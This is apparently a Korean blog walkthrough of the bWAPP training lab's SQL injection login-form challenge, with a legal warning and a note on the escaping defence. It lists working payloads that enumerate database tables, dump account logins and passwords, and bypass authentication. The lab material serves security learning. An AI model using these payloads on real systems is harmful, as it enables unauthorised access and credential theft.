이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
A1 - SQL Injection (Login Form/Hero)
Login Form SQL Injection은 로그인시 ID/PW를 한줄의 쿼리로 입력받을 경우, SQL Injection을 통하여 패스워드 힌트 정보를 획득하는 내용 입니다.
페이지의 아이디, 비밀번호란에 작은따옴표를 입력하여 보았습니다. SQL Injection 취약점이 있을 경우 위와 같이 SQL 오류 메시지가 출력되는 것을 확인할 수 있습니다. 또한 데이터베이스 서버의 종류에 따라 SQL 구문이 다르므로 오류 메시지로 데이터베이스 서버를 파악할수 있습니다.
여기서는 사용 중인 데이트베이스 서버가 MySQL 이라는 정보를 출력합니다.
MySQL에서 사용하는 주석 문자로 항상 결과가 참인 쿼리를 아이디 입력란에 입력하여 보았습니다.
SQL Injection 결과 'neo'라는 사용자로 로그인에 성공하고 해당 사용자의 비밀번호 힌트도 출력되는 것을 확인할 수 있습니다.
Union Select 문을 이용하여 컬럼을 확인해 보았습니다. 에러가 나지 않을때 까지 컬럼을 추가해 보시기 바랍니다.
컬럼을 확인하였으니 DB버전 정보와 DB정보를 확인하는 쿼리를 날려 보았습니다.
'union select all 1, @@version,3, database() #
' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' #
' union select all 1, table_name,3,4 from information_schema.tables where table_schema!='information_schema' #
테이블 정보를 출력하였으나, 결과 출력이 한줄이라 테이블명이 하나밖에 표시되지 않는다는 것을 알수 있습니다.
Blog 이외의 테이블들을 조회 하였습니다. 여기서는 Heroes 테이블이 있는것을 확인할수 있습니다.
' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' and table_name!='blog' #
' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' and table_name!='blog' and table_name!='heroes' #
' union select all 1, table_name,3,4 from information_schema.tables where table_schema='Bwapp' and table_name!='blog' and table_name!='heroes' and table_name!='movies' #
' union select ALL 1,column_name,3,4 from information_schema.columns where table_name='heroes'#
heroes 테이블의 컬럼 정보 확인시 ID가 확인되었고 다음 ID 다음컬럼을 확인해 보도록 하겠습니다.
' union select ALL 1,column_name,3,4 from information_schema.columns where table_name='heroes' and column_name!='id'#
ID 컬럼 다음의 컬럼 확인시 Login컬럼이 있는것을 확인 할 수 있습니다.
' union select all 1, id, 3, login from heroes #
heroes 테이블에서 id(순서번호 : 1), login(계정정보 : Neo) 출력
' union select 1, login, 3, password from heroes #
Neo 계정의 패스워드 까지 출력을 해보았습니다. 그럼 다음으로 Neo 계정 뒤에 또 다른 계정이 있는지 확인을 한번 해보도록 하겠습니다.
' union select all 1, id, 3, login from heroes where login!='neo' #
neo 계정 다음 Alice 계정이 있는것을 확인 할수 있습니다.
Alice 계정의 패스워드 출력
Login 폼에 alice ' or 'a'='a 해당 구문을 입력하여도 취약점을 통해 로그인이 되는것을 확인할수 있습니다.
비밀번호를 입력하지 않아도 로그인이 되는 이유는 변수를 따로 입력받지 않고 AND 연산자를 사용하여 한 줄로 데이터베이스의 아이디와 비밀번호를 출력하기 때문에 발생하는 취약점 입니다.
난이도 상에서는 sqli_check_2 함수로 SQL Injection을 우회하고 있습니다. sqli_check_2 함수는 functions_external.php에 정의 되어 있습니다. PHP 기본 제공 함수인 mysql_real_escape_string 함수를 사용하여 입력한 데이터를 우회 합니다. mysql_real_escape_string 함수는 사용자 입력 값에 SQL 문법에서 사용하는 특수 문자가 있을 경우 다음의 문자에 백슬래시를 붙여 SQL 문법으로 인식하지 않게 방어 합니다. 우회 문자: \x00, \n, \r, \, ', ", \x1a
'Code::Security > 비박스(BWAPP)' 카테고리의 다른 글
비박스(bWAPP) SQL Injection (SQLite) (0) | 2019.11.15 |
---|---|
비박스(bWAPP) SQL Injection (Login Form/User) (0) | 2019.11.14 |
비박스(bWAPP) SQL Injection (AJAX/JSON/jQeury) (0) | 2019.08.30 |
비박스(bWAPP) SQL Injection (GET/Select, POST/Select) (0) | 2019.07.16 |
비박스(bWAPP) SQL Injection (POST/Search) (0) | 2019.07.10 |